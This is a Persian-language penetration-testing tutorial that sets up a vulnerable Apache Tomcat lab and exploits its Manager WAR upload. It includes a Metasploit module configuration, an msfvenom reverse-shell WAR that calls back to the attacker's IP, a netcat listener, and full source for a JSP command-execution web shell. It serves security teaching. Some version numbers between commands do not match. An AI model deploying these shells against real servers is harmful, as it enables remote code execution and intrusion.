تست نفوذ Tomcat
Tomcat Penetration Testing نقش حیاتی در شناسایی آسیبپذیریهای موجود در Apache Tomcat ایفا میکند؛ سرویسی که بهطور گسترده بهعنوان یک web server و servlet container در توسعهی برنامههای تحت وب مورد استفاده قرار میگیرد. در ابتدا، Apache Software Foundation این پروژه را با هدف ارائهی یک پلتفرم نمایشی برای فناوریهای Java Servlet و JavaServer Pages (JSP) راهاندازی کرد؛ فناوریهایی که زیرساخت اصلی بسیاری از Java web applications را تشکیل میدهند. با گذشت زمان، Tomcat قابلیتهای خود را گسترش داد تا از سایر فناوریهای Java در بستر وب نیز پشتیبانی کند.
علاوه بر این، یکی از ویژگیهای قابلتوجه Tomcat، پشتیبانی آن از استقرار برنامههای وب از طریق فایلهای WAR (Web Application Archive) است. این فایلها تمامی مؤلفههای یک web application — شامل کد، صفحات و فایلهای مرتبط — را در قالب یک بستهی واحد تجمیع میکنند و فرایند استقرار را سادهتر میسازند. در نتیجه، Tomcat این امکان را فراهم میکند که کاربران فایلهای WAR خود را upload و اجرا کنند، و بدینترتیب، برنامههای خود را بر بستر اینترنت میزبانی نمایند.
علاوه بر WAR files، Tomcat از استقرار مستقیم صفحات JSP نیز پشتیبانی میکند. JSP (JavaServer Pages) یک فناوری است که به توسعهدهندگان امکان میدهد صفحات وب دینامیک را با استفاده از Java ایجاد کنند. بنابراین، Tomcat توانایی اجرای مستقیم این صفحات JSP را دارد و همین ویژگی آن را به یک پلتفرم چندمنظوره برای hosting طیف گستردهای از web applications تبدیل میکند.
بهصورت پیشفرض، Tomcat از استفادهی WAR files و صفحات JSP پشتیبانی میکند. با این حال، مدیران سیستم میتوانند تنظیمات آن را پیکربندی کنند تا امنیت و کنترل بیشتری بر روی file uploads اعمال شود، که این امر به بهبود کلی امنیت server منجر میگردد.
معرفی Tomcat
Apache Tomcat یک open-source web server و servlet container است که توسط Apache Software Foundation توسعه داده شده است. این پلتفرم اجرای فناوریهای Java Servlet، JavaServer Pages (JSP)، و سایر استانداردهای مرتبط با Java EE را فراهم میکند و بهعنوان یکی از محبوبترین انتخابها برای میزبانی و اجرای Java web applications در محیطهای توسعه و production شناخته میشود. سادگی در پیکربندی، پشتیبانی از WAR deployment، و معماری سبک، آن را به گزینهای محبوب در میان توسعهدهندگان و تیمهای DevOps تبدیل کرده است.
کاربردهای Tomcat در امنیت
با وجود اینکه Apache Tomcat در اصل یک web server و servlet container برای اجرای Java web applications است، نقش مهمی نیز در زمینهی امنیت سامانههای تحت وب ایفا میکند. مهمترین کاربردهای آن در حوزه امنیت عبارتاند از:
- پیکربندی امنیتی سطح سرور (Server Hardening):
Tomcat امکان اعمال تنظیمات امنیتی پیشرفتهای مانند محدود کردن دسترسی به دایرکتوریها، غیرفعالسازی directory listing، و کنترل دقیق user permissions را فراهم میکند. - مدیریت احراز هویت و مجوزدهی (Authentication & Authorization):
از طریق Realms، Tomcat قابلیت اتصال به پایگاههای داده، LDAP یا فایلهای محلی برای احراز هویت کاربران و کنترل دسترسی به منابع را دارد. - SSL/TLS Configuration:
Tomcat از پیکربندی امن HTTPS با استفاده از SSL/TLS پشتیبانی میکند و این امکان را فراهم میسازد که دادهها بهصورت رمزنگاریشده بین کلاینت و سرور منتقل شوند. - جلوگیری از آپلودهای مخرب (Malicious Upload Prevention):
با تنظیم دقیق محدودیتها برای file upload (مانند نوع MIME، حجم فایل، و مسیر ذخیرهسازی)، میتوان از Remote Code Execution یا Web Shell جلوگیری کرد. - پشتیبانی از مکانیزمهای Logging و Auditing:
امکان فعالسازی access logs و error logs در Tomcat، به تیمهای امنیتی اجازه میدهد فعالیتهای مشکوک را شناسایی، تحلیل و مستندسازی کنند. - محیط مناسب برای آزمایشهای امنیتی (Security Testing Platform):
بسیاری از تیمهای penetration testing از نسخههای آسیبپذیر یا سفارشیشدهی Tomcat برای اجرای تستهای نفوذ، بررسی misconfigurationها، و تحلیل vulnerability exploitation استفاده میکنند.
فهرست مطالب
- مقدمه
- راهاندازی آزمایشگاه
- نصب Tomcat
- پیکربندی
- شناسایی و جمعآوری اطلاعات
- بهرهبرداری با استفاده از Metasploit Framework
- بهرهبرداری دستی Reverse Shell
- بهرهبرداری دستی Web Shell
- جمعبندی
راهاندازی آزمایشگاه
در این مقاله، قصد داریم یک Tomcat server را روی ماشین Ubuntu راهاندازی کرده و آسیبپذیری مربوط به file upload را مورد بهرهبرداری قرار دهیم. برای این منظور، دو ماشین در یک محیط شبکه محلی پیکربندی شدهاند:
- Target Machine: Ubuntu – آدرس IP: 192.168.1.5
- Attacker Machine: Kali Linux – آدرس IP: 192.168.1.7
این ساختار آزمایشگاهی امکان اجرای تستهای نفوذ واقعی در محیط کنترلشده را فراهم میسازد و برای شبیهسازی سناریوهای حمله و تحلیل آسیبپذیری، کاملاً مناسب است.
نصب
Apache Tomcat به Java وابسته است، به این معنا که باید Java JDK (Java Development Kit) بر روی سرور شما نصب شده باشد. برای نصب آن میتوانید دستور زیر را اجرا کنید:
apt install openjdk-21-jdk
برای افزودن یک کاربر جدید با نام tomcat از دستور زیر استفاده کنید:
useradd -m -U -d /opt/tomcat -s /bin/false tomcat
در مرحلهی بعد، فایل فشردهی tar.gz مربوط به Tomcat را از وبسایت رسمی دانلود کنید.
سپس، آخرین نسخهی Tomcat را از وبسایت رسمی دانلود کرده و در سیستم Ubuntu ذخیره کنید، سپس فایلهای دانلود شده را extract نمایید.
wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.0.20/bin/apache-tomcat-10.0.20.tar.gz tar -xvf apache-tomcat-10.1.20.tar.gz
پوشهی extract شده را به مسیر /opt/tomcat منتقل کرده، مالکیت (ownership) آن را به کاربر tomcat واگذار کنید و مجوز اجرا (execution permission) را برای فایلهای binary تنظیم نمایید.
mv apache-tomcat-10.1.20/* /opt/tomcat chown -R tomcat: /opt/tomcat sh -c 'chmod +x /opt/tomcat/bin/*.sh '
[Unit] Description=Apache Tomcat After=network.target [Service] Type=forking User=tomcat Group=tomcat Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64 Environment=CATALINA_PID=/opt/tomcat/tomcat.pid Environment=CATALINA_HOME=/opt/tomcat Environment=CATALINA_BASE=/opt/tomcat Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC" ExecStart=/opt/tomcat/bin/startup.sh ExecStop=/opt/tomcat/bin/shutdown.sh ExecReload=/bin/kill $MAINPID RemainAfterExit=yes [Install] WantedBy=multi-user.target
برای اعمال تغییرات، daemon مربوط به systemd را با استفاده از دستور زیر reload کنید . همچنین، سرویس tomcat را enable کنید تا بهصورت خودکار هنگام reboot سیستم اجرا شود. برای بررسی وضعیت (status) سرویس tomcat از دستور زیر استفاده کنید.
systemctl daemon-reload systemctl enable --now tomcat systemctl status tomcat
پیکربندی
پس از اتمام فرایند نصب ، نوبت به پیکربندی سرور Tomcat میرسد.
برای ایجاد رمز عبور کاربر admin، تغییرات مورد نیاز را در فایل زیر اعمال کنید:
nano /opt/tomcat/conf/tomcat-users.xml
قطعه کد زیر را قبل از تگ </tomcat-users> در فایل:
<role rolename="admin-gui"/> <role rolename="manager-gui"/> <user username="admin" password="password" roles="admin-gui,manager-gui"/>
برای فعالکردن دسترسی از راه دور به بخش Tomcat Manager، تغییرات را در فایل context.xml که در دایرکتوری های زیر قرار دارد، اعمال کنید.
nano /opt/tomcat/webapps/manager/META-INF/context.xml nano /opt/tomcat/webapps/host-manager/META-INF/context.xml
برای فعالسازی کامل دسترسی راه دور (remote access) به Tomcat Manager، خط زیر را از هر دو فایل حذف کنید.
پس از اتمام تغییرات، برای اعمال تنظیمات جدید، سرویس tomcat را در Ubuntu با دستور زیر راهاندازی مجدد کنید:
systemctl restart tomcat
sudo netstat -tulnp | grep 8080 sudo ss -tulwn | grep 8080
همچنین میتوانید در مرورگر خود آدرس زیر را وارد کنید:
شناسایی
پس از اتمام نصب و پیکربندی، اکنون وارد مرحلهی شناسایی (enumeration) میشویم.
در این سناریو، از Kali Linux بهعنوان ماشین حملهکننده استفاده میکنیم.
شناسایی اولیه را میتوان با ابزار nmap انجام داد.
nmap -p 8080 -sV 192.168.1.5
بهرهبرداری با استفاده از Metasploit Framework
در این مرحله ابتدا تلاش میکنیم از قابلیت آسیبپذیری موجود بهرهبرداری کنیم، چرا که برای آسیبپذیری upload فایل در Tomcat، از قبل یک exploit آماده در Metasploit وجود دارد.
پس از ورود به محیط Metasploit، دستورات زیر را وارد کنید تا اکسپلویت اجرا شود:
use exploit/multi/http/tomcat_mgr_upload set RHOSTS <target-ip> set RPORT 8080 set HTTPUSERNAME <admin-username> set HTTPPASSWORD <admin-password> set TARGETURI /manager set PAYLOAD java/meterpreter/reverse_tcp set LHOST <attacker-ip> set LPORT <attacker-port> run
همانطور که در بالا مشاهده شد، پس از اجرای موفق اکسپلویت، یک reverse shell به دست میآید و مهاجم میتواند دستورات را از طریق meterpreter shell اجرا کند.
بهرهبرداری دستی — دریافت Reverse Shell
علاوه بر استفاده از Metasploit، مهاجمان میتوانند همین فرایند بهرهبرداری را بهصورت دستی نیز انجام دهند.
برای این کار، اولین قدم، ساخت یک فایل .war (فایل Web Application Archive مخصوص سرویسهای Java) با استفاده از ابزار msfvenom است.
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war
پس از ساخت فایل shell.war، مهاجم باید آن را در اپلیکیشن مدیریتی Tomcat Manager App آپلود کند.
برای دسترسی به بخش Manager App، کاربر باید Basic Authentication ارائه دهد.
معمولاً نام کاربری و رمز عبور پیشفرض به صورت زیر است:
- username: admin
- password: password
این اعتبارنامهها برای ورود به Tomcat Manager App و استفاده از رابط کاربری آن جهت آپلود فایلها استفاده میشود.
پس از ورود به سیستم ، مهاجم میتواند فایل shell.war که از قبل ایجاد شده است را از طریق قابلیت WAR file deployment بارگذاری کند.
پس از انجام upload، فایل در بخش Uploaded WAR files قابل مشاهده خواهد بود.
پیش از دسترسی به فایل upload شده، یک netcat listener روی پورت ۱۲۳۴ راهاندازی کنید.
rlwrap nc -lvnp 1234
بر روی مسیر /shell کلیک کنید تا به فایل دسترسی یافته و reverse shell را دریافت کنید.
Reverse shell از طریق پورت ۱۲۳۴ دریافت میشود.
بهرهبرداری دستی Web Shell
برای بهدستآوردن یک web shell، مهاجمان میتوانند از یک فایل .war استفاده کنند که شامل فایلهای .jsp باشد. پس از upload این فایل .war به سرور، دسترسی به webshell فراهم میشود.
بهمنظور ایجاد یک فایل .war که شامل فایلهای .jsp باشد، لازم است که Java روی ماشین Kali Linux نصب شده باشد.
apt install openjdk-21-jdk
اکنون یک دایرکتوری به نام webshell ایجاد کنید و فایل index.jsp را درون آن قرار دهید.
mkdir webshell cd webshell nano index.jsp
کد زیر را در فایل index.jsp قرار دهید تا web shell ایجاد شود.
<FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre>
پ
پس از ایجاد فایل index.jsp، اکنون میتوان با تبدیل دایرکتوری به یک فایل .war، بستهی موردنظر را ایجاد کرد.
jar -cvf ../webshell.war *
پس از ایجاد فایل webshell.war، آن را از طریق بخش deploy در Tomcat Manager بارگذاری کنید.
صفحهی index.jsp درون دایرکتوری webshell که بارگذاری شده است، قابل دسترسی است و به این ترتیب webshell فعال میشود.
روش جایگزین برای انجام بهرهبرداری دستی فوق، دانلود فایل cmd.jsp و ساخت فایل webshell.war با استفاده از ابزار zip است.
فایل webshell jsp را میتوان از این آدرس دانلود کرد.
سپس، پس از دانلود فایل cmd.jsp، میتوان با استفاده از دستور زیر فایل revshell.war را ایجاد کرد:
zip -r revshell.war cmd.jsp
دوباره، با تکرار همان روندی که پیشتر توضیح داده شد، پس از upload فایل revshell.war از طریق قابلیت deploy، میتوان با دسترسی به آدرس زیر، web shell را بهدست آورد:
http://192.168.1.5:8080/revshell/cmd.jsp
جمعبندی
در اصل، Apache Tomcat همچنان بهعنوان یکی از گزینههای محبوب برای deploy برنامههای وب مبتنی بر Java باقی مانده است و ترکیبی از انعطافپذیری و امنیت را ارائه میدهد که پاسخگوی نیازهای متنوع توسعهدهندگان و مدیران سیستم است. با این حال، به دلیل misconfigurationها، مهاجمان قادر خواهند بود از آن سوءاستفاده کرده و اقدامات ناخواستهای مانند Remote Code Execution را انجام دهند.